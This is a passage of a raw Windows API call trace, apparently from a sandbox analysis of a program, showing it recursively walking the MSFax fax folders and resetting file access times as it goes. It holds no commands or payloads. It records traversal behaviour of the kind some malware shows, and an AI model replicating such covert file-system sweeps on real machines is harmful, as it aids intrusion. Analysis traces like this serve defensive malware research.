nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inbox", cAlternateFileName="")) returned 1 [0092.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.380] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\inbox"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.381] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\inbox"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0092.381] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.382] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.382] NtClose (Handle=0x17c) returned 0x0 [0092.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.383] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9180 [0092.383] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.383] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.383] GetLastError () returned 0x12 [0092.383] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0092.384] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.384] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.384] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.384] GetLastError () returned 0x12 [0092.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.384] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.385] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Queue", cAlternateFileName="")) returned 1 [0092.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.385] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\queue"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.385] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\queue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.385] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.386] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.386] NtClose (Handle=0x178) returned 0x0 [0092.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.387] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0092.387] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.387] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.387] GetLastError () returned 0x12 [0092.387] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9180 [0092.387] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.387] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.387] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.388] GetLastError () returned 0x12 [0092.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.388] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.388] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SentItems", cAlternateFileName="")) returned 1 [0092.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.389] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\sentitems"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.389] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\sentitems"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0092.389] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.389] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.390] NtClose (Handle=0x17c) returned 0x0 [0092.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.391] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9180 [0092.391] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.391] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.391] GetLastError () returned 0x12 [0092.391] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0092.391] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.391] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.391] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.391] GetLastError () returned 0x12 [0092.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc1e0) returned 1 [0092.392] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.392] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="")) returned 1 [0092.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.393] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.393] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.393] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.393] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.394] NtClose (Handle=0x178) returned 0x0 [0092.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc1e0 [0092.395] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0092.395] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.395] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0092.395] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0092.395] GetLastError () returned 0x12 [0092.395] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9180 [0092.395] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.395] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.395] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0092.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0092.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136cba0 [0092.396] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.397] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.397] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0092.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.398] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0092.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.398] NtClose (Handle=0x178) returned 0x0 [0092.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136cba0) returned 1 [0092.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbfc0 [0092.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136cba0 [0092.399] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.400] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows 